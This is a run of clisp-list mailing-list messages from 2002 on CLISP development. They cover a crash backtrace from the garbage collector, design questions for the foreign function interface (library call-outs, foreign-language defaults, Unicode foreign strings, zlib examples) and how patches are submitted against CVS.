HyperSpec or the Impnotes. :)

.Otherwise if the interpreter is meant to be run in some sort of
.non-interaction mode the interpreter should signal the error and just
.exit without retrying to evaluate the test-form.

Hmm. Do you mean, the "correctable error" should be an normal "error"? I
can not find a function like "proof" or "examine", but find a makro
"check-type" or "ldb-test". Is there a equivalent to "assert"?

stefan



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On Tue, Apr 23, 2002 at 02:49:38PM -0400, Sam Steingold wrote:
> > * In message <20020423182507.GA6665@cam.ac.uk>
> > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?"
> > * Sent on Tue, 23 Apr 2002 19:25:07 +0100
> > * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
> >
> > > e.g., set a break in fehler_funname_source() - you probably get there
> > > just this once (or maybe not - in that case you have to count the
> > > fehler_funname_source hits and set a delayed break).
> > 
> > Oh, I see. Ugggh. Um. The backtrace that I elided a couple of messages
> > upthread has upwards of 1000 frames. And there were quite a few
> > fehler_funname_source()s in there :-/ Looks like it's a long-term
> > project...
> 
> there is something wrong here.
> fehler_funname_source cannot call fehler_funname_source.

I've attached a slightly fuller backtrace from the CVS version of CLISP,
compiled with ./configure --with-debug, on the same application. It
crashes in the same place, from a user point of view, though the
small-numbered stack frames in this backtrace are slightly different in
the detail.

fehler_funname_source appears at frames 45, 80, and 115 of the attached
(hmm, 35 frames..., yes, also 150 and 185)

Cheers,

Christophe
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#0  0x0804b69e in sigsegv_handler_failed (address=0xc0) at spvw_sigsegv.d:29
#1  0x0804b702 in sigsegv_handler (fault_address=0xc0, serious=1)
    at spvw_sigsegv.d:44
#2  0x080df9ba in sigsegv_handler (sig=11, more=0)
    at ../../sigsegv/handler.c:359
#3  0x400866e8 in sigaction () from /lib/libc.so.6
#4  0x0804c76e in gc_mark_stack (objptr=0x401dce34) at spvw_garcol.d:441
#5  0x0804c890 in gc_markphase () at spvw_garcol.d:451
#6  0x0804cfb0 in gar_col_normal () at spvw_garcol.d:1635
#7  0x0804de2f in do_gar_col_simple () at spvw_garcol.d:2472
#8  0x080bab5a in with_gc_statistics (fun=0x804ddd8 <do_gar_col_simple>)
    at predtype.d:2854
#9  0x0804de64 in gar_col_simple () at spvw_garcol.d:2479
#10 0x0804e0bf in make_space_gc_false (need=8, heapptr=0x82554c4)
    at spvw_allocate.d:297
#11 0x0804e1d2 in allocate_cons ()
#12 0x0805ece5 in interpret_bytecode_ (closure=0x20d0bb41, codeptr=0x20325cc4, 
    byteptr_in=0x20325cd6 "\224\001¬o\001­\210\002\016i\001\002Ý®{\002\a\001\003b\002\031\004\225\003\a") at eval.d:7987
#13 0x0805d26a in interpret_bytecode_ (closure=0x20d0bb21, codeptr=0x20325c14, 
    byteptr_in=0x20325c26 "®\a") at eval.d:7101
#14 0x0805d26a in interpret_bytecode_ (closure=0x20d0bb01, codeptr=0x20325b64, 
    byteptr_in=0x20325b76 "¯®\a") at eval.d:7101
#15 0x0805d20d in interpret_bytecode_ (closure=0x20d0bad9, codeptr=0x20325aa0, 
    byteptr_in=0x20325ab2 "\222\001+°°°\a") at eval.d:7098
#16 0x0805d26a in interpret_bytecode_ (closure=0x20325dad, codeptr=0x20325818, 
    byteptr_in=0x2032582a "\e\027Ê\e7­a\001\e:á®a\002\e\200@\231\vº«7\001\026\v") at eval.d:7101
#17 0x0805ba78 in funcall_closure (closure=0x20325dad, args_on_stack=2)
    at eval.d:5838
#18 0x0805afe7 in funcall (fun=0x20324da5, args_on_stack=2) at eval.d:5025
#19 0x0805cfad in interpret_bytecode_ (closure=0x2032ae79, codeptr=0x2032ae58, 
    byteptr_in=0x2032ae6a "­o") at eval.d:7061
#20 0x0805ba78 in funcall_closure (closure=0x2032ae79, args_on_stack=1)
    at eval.d:5838
#21 0x0805afe7 in funcall (fun=0x2032ae3d, args_on_stack=1) at eval.d:5025
#22 0x0805ceb3 in interpret_bytecode_ (closure=0x2032bbdd, codeptr=0x2032bb64, 
    byteptr_in=0x2032bb76 "®/") at eval.d:7052
#23 0x0805ba78 in funcall_closure (closure=0x2032bbdd, args_on_stack=5)
    at eval.d:5838
#24 0x0805afe7 in funcall (fun=0x824d35d, args_on_stack=5) at eval.d:5025
#25 0x080a5c4f in C_pmake_instance (argcount=2, rest_args_pointer=0x401dcd88)
    at record.d:1340
#26 0x0805a469 in apply_subr (fun=0x8244812, args_on_stack=1, args=0x67df85eb)
    at eval.d:4511
#27 0x08059bca in apply (fun=0x8244812, args_on_stack=1, other_args=0x67df85eb)
#28 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, 
    byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i")
    at eval.d:8164
#29 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, 
    args=0x67df85eb) at eval.d:4943
#30 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, 
    other_args=0x67df85eb) at eval.d:4078
#31 0x0805f43b in interpret_bytecode_ (closure=0x2032b93d, codeptr=0x2032b91c, 
    byteptr_in=0x2032b92e "\231") at eval.d:8146
#32 0x0805ae42 in apply_closure (closure=0x2032b93d, args_on_stack=0, 
    args=0x67df85eb) at eval.d:4943
#33 0x08059bee in apply (fun=0x2032b93d, args_on_stack=1, 
    other_args=0x67df85eb) at eval.d:4078
#34 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, 
    byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i")
    at eval.d:8164
#35 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, 
    args=0x67df85eb) at eval.d:4943
#36 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, 
    other_args=0x67df85eb) at eval.d:4078
#37 0x0805f43b in interpret_bytecode_ (closure=0x2032ebd5, codeptr=0x2032eb80, 
    byteptr_in=0x2032eb92 "®Ú\213\001\a\231\006¯ \233\001\003ÜÝo\004ß±Ú3\003\037
¨ë2 \022\"") at eval.d:8146
#38 0x0805ae42 in apply_closure (closure=0x2032ebd5, args_on_stack=0, 
    args=0x8246261) at eval.d:4943
#39 0x08059bee in apply (fun=0x2032ebd5, args_on_stack=5, other_args=0x8246261)
    at eval.d:4078
#40 0x0805f43b in interpret_bytecode_ (closure=0x2032ed41, codeptr=0x2032ec00, 
    byteptr_in=0x2032ec12 "±r&Ú\212\001'±\216\004-±\216\0050±\216\e,ÝÞ³ßæço\bµ¸3\006\037ÝÞ²ßàáo\bµ¸¸3\a\037\223\004\004¯%\002k¢\031\006\231\t²£\233\001\006\231\t¯ä´åµ¤\233\005\006\\ì2 \022\037") at eval.d:8146
#41 0x0805ba78 in funcall_closure (closure=0x2032ed41, args_on_stack=4)
    at eval.d:5838
#42 0x0805afe7 in funcall (fun=0x824d9d1, args_on_stack=4) at eval.d:5025
#43 0x080b3d5a in end_error (stackptr=0x401dcd40) at error.d:298
#44 0x080b3dc3 in fehler () at error.d:328
#45 0x080b517e in fehler_funname_source () at error.d:915
#46 0x0805861f in eval1 (form=0x67df861b) at eval.d:3138
#47 0x080582d6 in eval (form=0x67df861b) at eval.d:2974
#48 0x08055a1d in eval_5env (form=0x67df861b, var_env=0x8246261, 
    fun_env=0x8246261, block_env=0x8246261, go_env=0x8246261, 
    decl_env=0x680a8773) at eval.d:978
#49 0x08055a57 in eval_noenv (form=0x67df861b) at eval.d:990
#50 0x08063cb7 in C_eval () at control.d:2299
#51 0x0805d000 in interpret_bytecode_ (closure=0x20325dad, codeptr=0x20325818, 
#52 0x0805ba78 in funcall_closure (closure=0x20325dad, args_on_stack=2)
    at eval.d:5838
#53 0x0805afe7 in funcall (fun=0x20324da5, args_on_stack=2) at eval.d:5025
#54 0x0805cfad in interpret_bytecode_ (closure=0x2032ae79, codeptr=0x2032ae58, 
    byteptr_in=0x2032ae6a "­o") at eval.d:7061
#55 0x0805ba78 in funcall_closure (closure=0x2032ae79, args_on_stack=1)
    at eval.d:5838
#56 0x0805afe7 in funcall (fun=0x2032ae3d, args_on_stack=1) at eval.d:5025
#57 0x0805ceb3 in interpret_bytecode_ (closure=0x2032bbdd, codeptr=0x2032bb64, 
    byteptr_in=0x2032bb76 "®/") at eval.d:7052
#58 0x0805ba78 in funcall_closure (closure=0x2032bbdd, args_on_stack=5)
    at eval.d:5838
#59 0x0805afe7 in funcall (fun=0x824d35d, args_on_stack=5) at eval.d:5025
#60 0x080a5c4f in C_pmake_instance (argcount=2, rest_args_pointer=0x401dccac)
    at record.d:1340
#61 0x0805a469 in apply_subr (fun=0x8244812, args_on_stack=1, args=0x67df872b)
    at eval.d:4511
#62 0x08059bca in apply (fun=0x8244812, args_on_stack=1, other_args=0x67df872b)
    at eval.d:4076
#63 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, 
    byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i")
#64 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, 
    args=0x67df872b) at eval.d:4943
#65 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, 
    other_args=0x67df872b) at eval.d:4078
#66 0x0805f43b in interpret_bytecode_ (closure=0x2032b93d, codeptr=0x2032b91c, 
    byteptr_in=0x2032b92e "\231") at eval.d:8146
#67 0x0805ae42 in apply_closure (closure=0x2032b93d, args_on_stack=0, 
    args=0x67df872b) at eval.d:4943
#68 0x08059bee in apply (fun=0x2032b93d, args_on_stack=1, 
    other_args=0x67df872b) at eval.d:4078
#69 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, 
    byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i")
    at eval.d:8164
#70 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, 
    args=0x67df872b) at eval.d:4943
#71 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, 
    other_args=0x67df872b) at eval.d:4078
#72 0x0805f43b in interpret_bytecode_ (closure=0x2032ebd5, codeptr=0x2032eb80, 
    byteptr_in=0x2032eb92 "®Ú\213\001\a\231\006¯ \233\001\003ÜÝo\004ß±Ú3\003\037¨ë2 \022\"") at eval.d:8146
#73 0x0805ae42 in apply_closure (closure=0x2032ebd5, args_on_stack=0, 
    args=0x8246261) at eval.d:4943
#74 0x08059bee in apply (fun=0x2032ebd5, args_on_stack=5, other_args=0x8246261)
    at eval.d:4078
#75 0x0805f43b in interpret_bytecode_ (closure=0x2032ed41, codeptr=0x2032ec00, 
    byteptr_in=0x2032ec12 "±r&Ú\212\001'±\216\004-±\216\0050±\216\e,ÝÞ³ßæço\bµ¸3\006\037ÝÞ²ßàáo\bµ¸¸3\a\037\223\004\004¯%\002k¢\031\006\231\t²£\233\001\006\231\t¯ä´åµ¤\233\005\006\\ì2 \022\037") at eval.d:8146
#76 0x0805ba78 in funcall_closure (closure=0x2032ed41, args_on_stack=4)
    at eval.d:5838
#77 0x0805afe7 in funcall (fun=0x824d9d1, args_on_stack=4) at eval.d:5025
#78 0x080b3d5a in end_error (stackptr=0x401dcc64) at error.d:298
#79 0x080b3dc3 in fehler () at error.d:328
#80 0x080b517e in fehler_funname_source () at error.d:915
#81 0x0805861f in eval1 (form=0x67df875b) at eval.d:3138
#82 0x080582d6 in eval (form=0x67df875b) at eval.d:2974
#83 0x08055a1d in eval_5env (form=0x67df875b, var_env=0x8246261, 
    fun_env=0x8246261, block_env=0x8246261, go_env=0x8246261, 
    decl_env=0x680a8773) at eval.d:978
#84 0x08055a57 in eval_noenv (form=0x67df875b) at eval.d:990
#85 0x08063cb7 in C_eval () at control.d:2299
#86 0x0805d000 in interpret_bytecode_ (closure=0x20325dad, codeptr=0x20325818, 
    byteptr_in=0x2032582a "\e\027Ê\e7­a\001\e:á®a\002\e\200@\231\vº«7\001\026\v") at eval.d:7064
#87 0x0805ba78 in funcall_closure (closure=0x20325dad, args_on_stack=2)
#88 0x0805afe7 in funcall (fun=0x20324da5, args_on_stack=2) at eval.d:5025
#89 0x0805cfad in interpret_bytecode_ (closure=0x2032ae79, codeptr=0x2032ae58, 
    byteptr_in=0x2032ae6a "­o") at eval.d:7061
#90 0x0805ba78 in funcall_closure (closure=0x2032ae79, args_on_stack=1)
    at eval.d:5838
#91 0x0805afe7 in funcall (fun=0x2032ae3d, args_on_stack=1) at eval.d:5025
#92 0x0805ceb3 in interpret_bytecode_ (closure=0x2032bbdd, codeptr=0x2032bb64, 
    byteptr_in=0x2032bb76 "®/") at eval.d:7052
#93 0x0805ba78 in funcall_closure (closure=0x2032bbdd, args_on_stack=5)
    at eval.d:5838
#94 0x0805afe7 in funcall (fun=0x824d35d, args_on_stack=5) at eval.d:5025
#95 0x080a5c4f in C_pmake_instance (argcount=2, rest_args_pointer=0x401dcbd0)
    at record.d:1340
#96 0x0805a469 in apply_subr (fun=0x8244812, args_on_stack=1, args=0x67df886b)
    at eval.d:4511
#97 0x08059bca in apply (fun=0x8244812, args_on_stack=1, other_args=0x67df886b)
    at eval.d:4076
#98 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, 
    byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i")
    at eval.d:8164
#99 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, 
    args=0x67df886b) at eval.d:4943
#100 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, 
    other_args=0x67df886b) at eval.d:4078
#101 0x0805f43b in interpret_bytecode_ (closure=0x2032b93d, 
    codeptr=0x2032b91c, byteptr_in=0x2032b92e "\231") at eval.d:8146
#102 0x0805ae42 in apply_closure (closure=0x2032b93d, args_on_stack=0, 
    args=0x67df886b) at eval.d:4943
#103 0x08059bee in apply (fun=0x2032b93d, args_on_stack=1, 
    other_args=0x67df886b) at eval.d:4078
#104 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, 
    codeptr=0x2032e120, 
    byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i")
    at eval.d:8164
#105 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, 
    args=0x67df886b) at eval.d:4943
#106 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, 
    other_args=0x67df886b) at eval.d:4078
#107 0x0805f43b in interpret_bytecode_ (closure=0x2032ebd5, 
    codeptr=0x2032eb80, 
    byteptr_in=0x2032eb92 "®Ú\213\001\a\231\006¯ \233\001\003ÜÝo\004ß±Ú3\003\037¨ë2 \022\"") at eval.d:8146
#108 0x0805ae42 in apply_closure (closure=0x2032ebd5, args_on_stack=0, 
    args=0x8246261) at eval.d:4943
#109 0x08059bee in apply (fun=0x2032ebd5, args_on_stack=5, 
#110 0x0805f43b in interpret_bytecode_ (closure=0x2032ed41, 
    codeptr=0x2032ec00, 
    byteptr_in=0x2032ec12 "±r&Ú\212\001'±\216\004-±\216\0050±\216\e,ÝÞ³ßæço\bµ¸3\006\037ÝÞ²ßàáo\bµ¸¸3\a\037\223\004\004¯%\002k¢\031\006\231\t²£\233\001\006\231\t¯ä´åµ¤\233\005\006\\ì2 \022\037") at eval.d:8146
#111 0x0805ba78 in funcall_closure (closure=0x2032ed41, args_on_stack=4)
    at eval.d:5838
#112 0x0805afe7 in funcall (fun=0x824d9d1, args_on_stack=4) at eval.d:5025
#113 0x080b3d5a in end_error (stackptr=0x401dcb88) at error.d:298
#114 0x080b3dc3 in fehler () at error.d:328
#115 0x080b517e in fehler_funname_source () at error.d:915
#116 0x0805861f in eval1 (form=0x67df889b) at eval.d:3138
#117 0x080582d6 in eval (form=0x67df889b) at eval.d:2974
#118 0x08055a1d in eval_5env (form=0x67df889b, var_env=0x8246261, 
    fun_env=0x8246261, block_env=0x8246261, go_env=0x8246261, 
    decl_env=0x680a8773) at eval.d:978
#119 0x08055a57 in eval_noenv (form=0x67df889b) at eval.d:990
#120 0x08063cb7 in C_eval () at control.d:2299
#121 0x0805d000 in interpret_bytecode_ (closure=0x20325dad, 
    codeptr=0x20325818, 
    byteptr_in=0x2032582a "\e\027Ê\e7­a\001\e:á®a\002\e\200@\231\vº«7\001\026\v") at eval.d:7064

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Hi,

> > DEf-LIB-CALL-OUT (Amiga) adds (:language :STDC) arbitrarily 
> for compatibility?
> > DEF-LIB-CALL-OUT (truly dynamic FFI, if I keep this name): 
> require :language
> 
> wouldn't these be gone when all the FFI goes dynamic?

This is a design question which I've not fully sorted out yet.

The thing to remember is that CLISP will have different sorts of external functions: those coming from modules (#<ADD-ON-SYSTEM-FUNCTION COMMON-LISP-USER::FOREIGN-ADDRESS-FUNCTION>), and those coming from new shared libraries (#<FOREIGN-FUNCTION "compress" #x100018F0>).

DEF-CALL-OUT could be made to macroexpand differently depending on whether some options are present or not, e.g. introduce a (:library foo) option.
My preference is to go for DEF-LIB-CALL-OUT or similar, because
 1) it's already there for the Amiga
 2) the macroexpansion for modules and for libraries is rather different.
 3) the exact format of foo in (:library foo) is obscure (see below point II).

There's also no DEF-LIB-CALL-IN.
However, one could have a few FOREIGN-LIBRARY-VARIABLE (one or two of of them are useful on AmigaOS).

AllegroCL has only a single ff:def-foreign-call. It doesn't even mention the library! Looks nice. But I guess this is because they add all the library's symbols to their lisp.run binary (like CMUCL did at the time I looked at it), which is not portable (think about MS-Windows), or perhaps because they internally sequentially walk through all open libraries, querying them for the symbol, which I won't accept (it's not deterministic from a single library provider's point of view: if I want "compress" from zlib, I shall get exactly that one, and such a query interface is not available on AmigaOS).

There are other, related issues:
I) exact form of the internal FOREIGN-LIBRARY, FOREIGN-ADDRESS-FUNCTION (if kept), FOREIGN-LIBRARY-FUNCTION (if introduced) etc. E.g.
Ib) FOREIGN-LIBRARY or some sort: maintain a list of open libraries in *FOREIGN-LIBRARIES* (allows for REOPEN-LIBRARY and library name synonyms, see point II below).
I'm currently thinking about (name-as-string foreign-pointer os-option ({known-functions}*). The CDR would be linked from all nicknames.

II) referring to libraries, especially naming by a nickname. LispWorks calls that modules. This may be useful because on all systems, the actual library name (and path) will vary widely. So if you want to say
(DEF-LIB-CALL-OUT compress "zlib" #) ; library by name
you need something which will map "zlib" to "zlib.dll", "libz.so" or
"cygz.dll" ; Cygwin name for zlib dll
or even "/usr/lib/libz.so" or even #P"/usr/lib/libz.so" or some such.

So far, my zlib compress examples works by evaluating the second argument (the library) to DEF-LIB-CALL-OUT:
(setq *zlib* (user::foreign-library *zlib-path*) ; store FOREIGN-POINTER object
(ffi:def-lib-call-out zlib-compress-string *zlib* ...)

When you think about how this would look like with a unified DEF-CALL-OUT with :library option, I don't like the idea to have to explain that the library option will be evaluated, while all others are not.
(DEF-CALL-OUT zlib-compress-string (:name "compress")
  (:library *zlib*) ; FOREIGN-POINTER (or possibly later: a string)
  (:library "zlib") ; this needs name synonyms to work
  (:language ...))
Using (:library "zlib") needs name synonyms (nicknames), as I don't want to see here and repeated for every function all of #+WIN32 "zlib.dll"
      ;; TODO how to deal with cygwin (#+UNIX on MS-Windows)? -- it wants "cygz.dll"
      #+UNIX "libz.so"
      #+AMIGA "zlib.library"

Sometimes, I feel I'm investing too much thought in rather low-level issues few people actually care about. Worse is better may just mean: the current scheme (referring to library by its base pointer) works, so it is enough.

In other words, I recognize that the unification costs me a lot of effort and grief and very little reward. DEF-LIB-CALL-OUT just works now (although I will revisit the macroexpansion pending point I above).


Another open problem: How to recogize cygwin? It appears as #+UNIX, but wants "cygz.dll" instead of "libz.so" which I suppose works across several systems (maybe only the dlopen() ones, not shl_load()).

So providing a user settable variable
(defvar *zlib-path*
  (or #+WIN32 "zlib.dll"
      ;; TODO how to deal with cygwin (#+UNIX on MS-Windows)? -- it wants "cygz.dll"
      #+UNIX "libz.so"
      #+AMIGA "zlib.library"
  )
  "Set this variable to point to the location of the zlib library
(libz.so or zlib.dll) on your system.")
is what people are used to. Cygwin users will have to overide this. HP-UX users probably also.
There's no need for me to imagine yet another half-working (i.e. broken) "try to find name automatically" heuristic.

Suggestions are, as always, welcome (maybe the best suggestion would be one about how I could express my ideas shortly :-),
	Jorg Hohle.


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Hi,

Sam Steingold wrote:
> I am sorry, but I do not understand a single word of what you are
> saying.

My summary is: the current implementation of default-foreign-language makes simple things look simple, but complex things unpredictably broken.

I'll try the "show by example" approach. Consider:

(DEFAULT-FOREIGN-LANGUAGE :stdc)
(def-call-out foo ...)
(def-call-out bar ...)

(def-c-var callback-pointer (:name "ffi_user_pointer")
  (:type (c-function (:arguments (data c-pointer)) (:return-type int))))

(defun set-callback-1arg (fun)
  ;; symbol-macro on foreign-variable
  (setf callback-pointer fun))

(defun set-callback-2arg (fun)
  (setf (cast callback-pointer
	      '(c-function (:arguments (data c-pointer) (more-data uint)) (:return-type int)))
	fun)

Observations:
a) the programmer gets used not to state :language in foreign function type declarations.

b) CLISP makes no guarantees of any sort as to what gets parsed (-> set in stone) when. I distinguish compile-time, load-time and run-time.

Analysis:
i) callback-1arg works. PARSE-C-TYPE on the callback pointer has been called at load-time, in which the DEFAULT-FOREIGN-LANGUAGE was bound.
ii) callback-2arg can break. It produces different functions, depending on the user's settings or previously loaded or executed code!

This is because PARSE-C-TYPE is called at run-time there, as opposed to load-time (or compilation-time).

One might consider adding :language just in callback-2arg.
I do not like this irregular behaviour at all.
1. How to explain the programmer that the addition
   be needed at just this place and not the others?
2. The programmer might not even add the line, since
   the "set-default-to-stdc" behaviour encourages
   lazyness and incorrect code: s/he might have set it
   earlier (in his/her .mem file) and forget about it.
3. Furthermore, the programmer might not even get a warning for
   this module (and thus never add :language), because other
   code s/he loaded previously may already have set the default.

So my summary is: the current implementation of default-foreign-language makes simple things look simple, but complex things dangerous. That's not what I expect from Lisp.

That's enough for now. I can speak about parse-c-type optimization and also scoping issues at a later time.

Regards,
	Jorg Hohle.


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Hi,

On Wed, Apr 24, 2002 at 10:39:06AM +0200, Hoehle, Joerg-Cyril wrote:

> . Worse is better may just mean: the current scheme (referring to
> library by its base pointer) works, so it is enough.

Yes!

I agree with this.  I am happy with referring to the library by its
base pointer.  Let the users do their own macro stuff.

Regards,
Peter


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Hi,

I wrote:
> CLISP's FFI doesn't correctly support UNICODE anyway. That's 
> another one on my growing FFI-limits list.

I've been thinking about WITH-FOREIGN-STRING. Lispworks has it, and I can provide a very similar macro.
However, I'm unsettled about the exact foreign-string representation and type in Lisp and would like to poll opinions.

(with-foreign-string (fos ... :encoding custom:*default-file-encoding*)
  (describe fos) 0) -> outputs ??

The :encoding keyword works around the FFI restriction on C-STRING being limited to 1:1 mappings. Even UTF-16 can be converted. The drawback is that the foreign function's parameter cannot be declared as having type C-STRING anymore.

Note that strictly speaking, you can already use the FFI with arbitrary string encodings today, using EXT:CONVERT-STRING-TO-BYTES and working with (ffi:c-array-ptr uint8) instead of c-string parameters (with care if the foreign side does uint16-wide access to an array terminated by a single uint8 zero...).
So am I wasting my time on a speed&garbage optimization issue again?


o What would be an appropriate parameter type declaration?
 a) C-POINTER
 b) C-ARRAY-PTR uint8
 c) something else

o What would be the Lisp object representing the foreign string (fos above):
 x) FOREIGN-ADDRESS
 y) FOREIGN-VARIABLE
If y), what would be the type of the FOREIGN-VARIABLE object
 y1) (C-ARRAY uint8 <bytesize>)
 y2) uint8 mostly, except (C-ARRAY uint16 <elementsize) if encoding happens to be
    an exact 16bit encoding (which I don't know yet how to detect).

Future code:
;; This is better than ffi:c-string because there's no 1:1 limit like on custom:*foreign-encoding*,
;; so Unicode strings can be converted.
(defmacro with-foreign-string ((foreign-variable element-count byte-count
                                  &key (encoding 'custom:*foreign-encoding*) (null-terminated-p 'T))
			       string &body body)
  `(ffi::exec-with-string
    (lambda (,foreign-variable ,element-count ,byte-count) ,@body)
    ,string ,encoding ,null-terminated-p))
;; TODO what element-type? automatically derive uint16 for real unicode?
;; (c-array or c-array-max? uint8-or-16? N)
;; TODO with_string_0 may not be enough, resp. buggy: need bytelen+1+1 for 0-terminated uint16 array!


My thoughts:
I currently tend to favour FOREIGN-ADDRESS (=> C-POINTER type declaration):
i) easy to implement
ii) constant, well-understood behaviour
However:
j) FOREIGN-VARIABLE would be consistent with the WITH-FOREIGN-OBJECT macro,
but the unresolved uint8/uint16 problem makes me avoid that.

The problem with automatic unit8/uint16 recognition is that the programmer writing the FFI code may not have control over the actual encoding used by the user, thus not know what the actual type of the variables s/he manipulates is.
OTOH, using foreign-variables would allow access to CLISP's functions like
(SETF (element foreign-string 25) #xabcd) when the programmer is sure it's UTF-16 (or any other fixed 16bit encoding, if such exists).

The programmer may still create a foreign-variable him/herself, using
(FOREIGN-ADDRESS-VARIABLE fso-as-foreign-address (parse-c-type `(c-array uint8 ,bytesize))) -- which I have not yet written (a trivial exercise).

> I *highly* welcome proposals for how an API which works with 
> unicode would look like.

> I've been thinking about things like
> (with-c-string (varname "foobar" &optional charset-or?-encoding)
>   &body ...)
> -> FOREIGN-VARIABLE of type (C-ARRAY 
> FFI:uint8-or-character-or-what? <len>
> (FFI::FOREIGN-SIZE *) -> length in 8bit bytes
> or something closer to make-array with &key :length 
> :initial-contents ...

> It doesn't tell what DEF-x-CALL-OUT for such a function would 
> look like.
> 
> Is using vectors of (unsigned-byte 8) resp. (c-array uint8 n) all
> that's needed by people?
[more snipped]

To be less abstract, here is hypothetical code (yet another version of ZLIB compression for CL-PDF):

(ffi:def-lib-call-out zlib-compress-string *zlib*
  (:name "compress")
  (:arguments (dest ffi:c-pointer :in)
              (destlen (ffi:c-ptr ffi:ulong) :in-out)
              (source ffi:c-pointer) ; cannot use c-string with arbitrary Unicode
              (sourcelen ffi:ulong))
  (:return-type ffi:int)
  (:language :stdc))

(defun compress-string (astring)
  "Compress the string SOURCE. Returns an array of bytes
representing the compressed data."
  ;; works with strings of arbitrary encodings
 (with-foreign-string (source elemsize sourcelen
		       :encoding pdf::+external-format+
		       :null-terminated-p NIL)
                      astring
  (declare (ignore elemsize))
  (let* ((destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    ;; Using CLISP's symbol-macro based interface
    (ffi:with-c-var (dest `(c-array uint8 ,destlen)) ; no init
      (multiple-value-bind (status actual)
          (zlib-compress-string (ffi:c-var-address dest) destlen source sourcelen)
        (if (zerop status)
            ;;(subseq dest 0 actual)
            ;;ffi:cast not usable because of different size...
            (ffi:offset dest 0 `(c-array uint8 ,actual))
          (error "zlib error, code ~d" status)))))))

WITH-FOREIGN-STRING is nice, but there's also a need for the converse, foreign-address -> Lisp string...

Thanks for your comments,
	Jorg Hohle.


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Hi,

> Please do not move any of the CLISP-related work into private e-mail.
> Remember, our private e-mail is not archived the same way the SF
Ok, I understand. I'm starting to use the patches section of SF.

> 3. please send the unified patches (-u); they are smaller and easier to read.
ok.

> > It causes me more work than if I throw all at once on you, but maybe
> > it's better for discussion.
> yes, please do keep the patches small.

> your patch breaks FOREIGN-ADDRESS-NULL in foreign1.lisp,
> but that's okay, I will fix that.
Thanks.
Actually, none of my patches really work, since they are fake
diffs. The code worked as a module (as posted to the list), then
I added lines by hand to subr.d, constsym.d, and copy&paste
from the module to foreign.d and foreign1.lisp.
I will not test every piece of a patch by seeing if CLISP still
compiles -- every change to constsym.d needs recompilation, and
we agreed on small patches.
This is reserved for the end (fix typo and copy&paste bugs).
Thanks again for smoothing things out.


The typical "thanks, bug now fixed in CVS" reply says:
>(be advised that between
>releases the CVS tree is very unstable and may not even build
>on your platform).
This is exactly why I feel I must stay away from CVS.
I feel a need for a stable platform.


I just noticed I did too much copy&paste:
constsym.d should contain LISPSYM lines, not LISPFUN.
LISPSYM(exec_with_stack,"%FOREIGN-ON-STACK",ffi)

Peter: sorry:
LISPFUNN(mark_invalid_foreign,1)
# { value1=T; mv_count=1; } broken
{ skipSTACK(1); value1=T; mv_count=1; }
I'll send the the real thing to the patches section of sourceforge
as soon as I beautify it.

> BTW, could you please send me your spvw.d patch against the CVS?
No yet rewritten.

> > > please do submit your FFI testsuite.
> are you sure you appended the whole patch?
The part 1 which goes into foreign.d. -- any problems there?
I never sent part 2 (foreign.tst) which still needs to be rewritten to use stable parts of the new FFI, not redefine-foreign-function history.

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	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE70582262B@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] CVS and my set of patches"
> * Sent on Wed, 24 Apr 2002 14:26:49 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> The typical "thanks, bug now fixed in CVS" reply says:
> >(be advised that between
> >releases the CVS tree is very unstable and may not even build
> >on your platform).

This is intended for the _users_.
You are a _developer_.

> This is exactly why I feel I must stay away from CVS.
> I feel a need for a stable platform.

this is not fair.  this places too much burden on _me_.
you are turning me into QA for your code, on platforms which I don't
even have access to.

> I just noticed I did too much copy&paste:
> constsym.d should contain LISPSYM lines, not LISPFUN.
> LISPSYM(exec_with_stack,"%FOREIGN-ON-STACK",ffi)

this is ugly - C name too different from Lisp name.  I changed that.
unless you use the CVS, your future patches will not apply cleanly,
thus causing much aggravation to both of us.

> > BTW, could you please send me your spvw.d patch against the CVS?
> No yet rewritten.

please make it a priority: this is a bug fix, and as such it should
come before new features.

> > > > please do submit your FFI testsuite.
> > are you sure you appended the whole patch?
> The part 1 which goes into foreign.d. -- any problems there?

I have no idea what you are talking about here. Sorry.
I receive too much clisp mail to be able to track this down by hand.
Your e-mail does not have references (this is Outlook fault, right?),
so I cannot get the message you are replying to automatically,
and its subject is not too informative.
Please send the patch under discussion again.

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"Hoehle, Joerg-Cyril" schrieb:
> DEF-CALL-OUT could be made to macroexpand differently depending on whether some options are present or not, e.g. introduce a (:library foo) option.
> My preference is to go for DEF-LIB-CALL-OUT or similar, because
>  1) it's already there for the Amiga
>  2) the macroexpansion for modules and for libraries is rather different.
>  3) the exact format of foo in (:library foo) is obscure (see below point II).
> 
